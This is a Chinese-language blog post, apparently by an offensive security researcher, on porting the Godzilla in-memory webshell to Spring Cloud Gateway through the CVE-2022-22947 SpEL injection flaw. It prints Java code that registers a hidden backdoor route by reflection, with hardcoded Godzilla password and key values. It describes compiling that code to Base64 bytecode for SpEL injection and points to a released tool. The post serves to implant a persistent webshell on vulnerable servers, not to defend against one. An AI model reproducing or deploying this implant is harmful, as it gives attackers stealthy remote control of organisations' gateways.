前言
CVE-2022-22947是Spring Cloud Gateway的一个SpEL命令注入漏洞,前一阵c0ny1师傅给出了使用SpEL语句注入内存马的方式,但是怎能仅止步于基础的CMD Shell,于是考虑注入更高级别的内存马。
由于Spring Cloud Gateway使用Spring+Netty+WebFlux框架进行开发,不存在Servlet API,所以只能选择对Servlet没有依赖的内存马,比如:Godzilla。
Handler选型
从c0ny1师傅的文章中可以了解到,为Spring Cloud Gateway注入内存马有两条途径,一条为从当前线程中反射获取Netty的pipeline
的configurer
,然后设置为我们的内存马Handler
,该方案的好处是,可以最大程度避免应用系统的代码对内存马Handler的访问性影响,弊端是也会带来不同版本环境中的兼容性问题,比如Skay师傅移植的Godzilla内存马,实测在某些环境下会导致目标无法再次新建route,造成目标环境异常。
第二条则是注入一个方法路由至RequestMappingHandlerMapping
,该方案兼容性较好,经过在多个Spring Cloud Gateway版本中实测验证,稳定性较好,而且在Spring Cloud Gateway环境中也很少遇到路由认证的场景,所以最终选择RequestMappingHandlerMapping
作为最终实现途径。
内存马移植
Godzilla内存马具有两个加密器JAVA_AES_BASE64
、JAVA_AES_RAW
,Base64加密器仅需要访问body中的pass=<payload>
即可,RAW则需要访问整个Request Body
,为了方便移植,需要在WebFlux框架中找一个和Servlet API
中的HttpServletRequest
类似的类来让我完全的访问Request
对象。在一番资料查找后我找到了ServerWebExchange
。
首先我们在Spring Cloud Gateway
的实例项目里编写一个路由Demo,然后随便发送一个请求。
经过对ServerWebExchange
的API的探索发现,获取URL中的参数只需要:
getRequest().getQueryParams().getFirst("<key>")
在获取Body参数的时候却遇到了问题,getBody
方法返回的类型为Flux<DataBuffer>
经过一番资料查找后发现,Flux
是Java的Reactor
异步编程中的成员类,而WebFlux则是大面积使用Reactor
的非阻塞式异步框架,如果需要访问Flux对象中的值,则需要使用subscribe
订阅,或者使用map
映射对象。
由于我们的内存马需要对请求参数进行处理后然后返回执行结果,所以并不适合使用订阅模式,而是使用对象映射模式,在处理完请求值后,返回执行结果。
同时鉴于我们需要访问的对象类型为DataBuffer
,该类型为Spring-Core对byte[]
对象的访问进行的包装,为数据流类型,则需要使用flatMap
对数据流进行合并化映射处理。
于是梳理下思路后实现该逻辑
@PostMapping("/cmd") public synchronized ResponseEntity cmd( ServerWebExchange pdata) { try { Object bufferStream = pdata.getRequest().getBody().flatMap(c -> { byte[] bytes = new byte[c.readableByteCount()]; c.read(bytes); return Flux.just(bytes.length); //返回字节流长度 }); return new ResponseEntity(bufferStream, HttpStatus.OK); } catch (Exception ex) { return new ResponseEntity(ex.getMessage(), HttpStatus.OK); } }
可见已成功构造调用链,但是新的问题又出现了,Godzilla的JAVA_AES_BASE64
加密器是基于Http-Form
的Key-Value
的请求方式,而此处仅能获取到二进制流,能不能直接解析成Map
呢?
最终从这篇文章中发现,ServerWebExchange
具有一个专用方法getFormData
,用于直接访问Body-Form
的Map
对象,于是
终于,参数访问,处理的问题解决了,下一步开始移植Godzilla的处理逻辑部分。
由于Godzilla使用session
作为状态存储,在本环境中为了方便移植,直接使用一个static
的Map<String, Object>
变量store
作为存储容器。
到此Godzilla的JAVA_AES_BASE64
加密器模式的服务端就移植成功了。
最后则是在SpEL语句中注入该内存马,这里需要从当前上下文中获取RequestMappingHandlerMapping
对象,然后使用c0ny1师傅文章中的SpEL注入Java字节码的语句进行注入。
首先编写注入函数doInject
public static String pass = "pass", md5, xc = "3c6e0b8a9c15224a"; public static String doInject(Object obj, String path) { String msg; try { md5 = md5(pass + xc); Method registerHandlerMethod = obj.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class); registerHandlerMethod.setAccessible(true); Method executeCommand = GMemShell.class.getDeclaredMethod("cmd", ServerWebExchange.class); RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(path).build(); registerHandlerMethod.invoke(obj, new GMemShell(), executeCommand, requestMappingInfo); msg = "ok"; } catch (Exception e) { e.printStackTrace(); msg = "error"; } return msg; }
编译成字节码,Base64后嵌入SpEL语句进行注入
调用refresh
后,注入成功
项目源代码:cve-2022-22947-godzilla-memshell
总结
最终来看对于Java框架、中间件的的充分了解可以更快速地在各种框架研究内存马的开发与注入。
在现在的信息系统开发技术中,对应用系统的处理性能要求越来越高,事件驱动的非阻塞式开发框架越来越大行其道,对异步开发的了解也对未来的Java安全研究越来越重要,总之还是要不断的学习啊🗞️。